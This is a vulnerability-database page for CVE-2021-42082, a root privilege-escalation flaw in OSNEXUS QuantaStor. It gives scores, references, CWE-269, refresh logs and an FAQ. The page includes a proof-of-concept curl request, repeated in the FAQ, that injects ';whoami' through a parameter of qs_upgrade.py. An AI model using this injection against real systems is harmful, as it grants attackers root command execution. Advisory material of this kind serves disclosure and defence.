CVE-2021-42082

HIGHNVD 7.87.1▼

7.8

Local users are able to execute scripts under root privileges.

POC

On the local host run the following command:

curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;whoami'

CVSS v3: 7.8
EG Score: 7.1(medium)
EPSS: 12.5%
KEV: Not listed

Published

July 10, 2023

Last Modified

September 22, 2025

References (8)

csirt@divdhttps://csirt.divd.nl/CVE-2021-42082
csirt@divdhttps://csirt.divd.nl/DIVD-2021-00020/
csirt@divdhttps://www.osnexus.com/products/software-defined-storage
csirt@divdhttps://www.wbsec.nl/osnexus
af854a3a-2127-422b-91ae-364da2661108https://csirt.divd.nl/CVE-2021-42082
af854a3a-2127-422b-91ae-364da2661108https://www.divd.nl/DIVD-2021-00020
af854a3a-2127-422b-91ae-364da2661108https://www.osnexus.com/products/software-defined-storage
af854a3a-2127-422b-91ae-364da2661108https://www.wbsec.nl/osnexus

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

CWE-269Improper Privilege Management

Data Freshness Timeline

(refreshed 15× in last 7d / 20× in last 30d)

Every time one of our enrichment pipelines (NVD, MITRE cvelistV5, EPSS, CISA KEV, GHSA, OSV, vendor advisories) ran against this CVE. Most recent first.

2026-06-06 13:46 UTCepss_batch
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2026-06-05 22:45 UTCepss_batch
2026-06-05 06:09 UTCepss_batch
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2026-06-02 20:11 UTCepss_batch
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2026-05-31 22:29 UTCepss_batch
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2026-05-29 13:42 UTCepss_batch
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2026-05-27 13:39 UTCepss_batch
2026-05-27 13:39 UTCepss_batch

Frequently asked(5)

What is CVE-2021-42082?

CVE-2021-42082 is a high vulnerability published on July 10, 2023. Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;whoami'

When was CVE-2021-42082 disclosed?

CVE-2021-42082 was first published in the National Vulnerability Database on July 10, 2023, with the most recent update on September 22, 2025. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.

Is CVE-2021-42082 actively exploited?

CVE-2021-42082 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 12.5% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.

What is the CVSS score of CVE-2021-42082?

CVE-2021-42082 has a CVSS v3 base score of 7.8 (NVD). EchelonGraph synthesises NVD + CISA KEV + FIRST EPSS + GHSA into a combined EG score of 7.1.

How do I remediate CVE-2021-42082?

Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2021-42082, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

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CVE-2021-42082

📅 Published

🔄 Last Modified

🔗 References (8)

Weakness Classification(1)

Data Freshness Timeline

❓ Frequently asked(5)

Dependency Blast Radius

Is Your Infrastructure Affected by CVE-2021-42082?

🔗 Related CVEs(same CWE)

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Published

Last Modified

References (8)

Frequently asked(5)

Related CVEs(same CWE)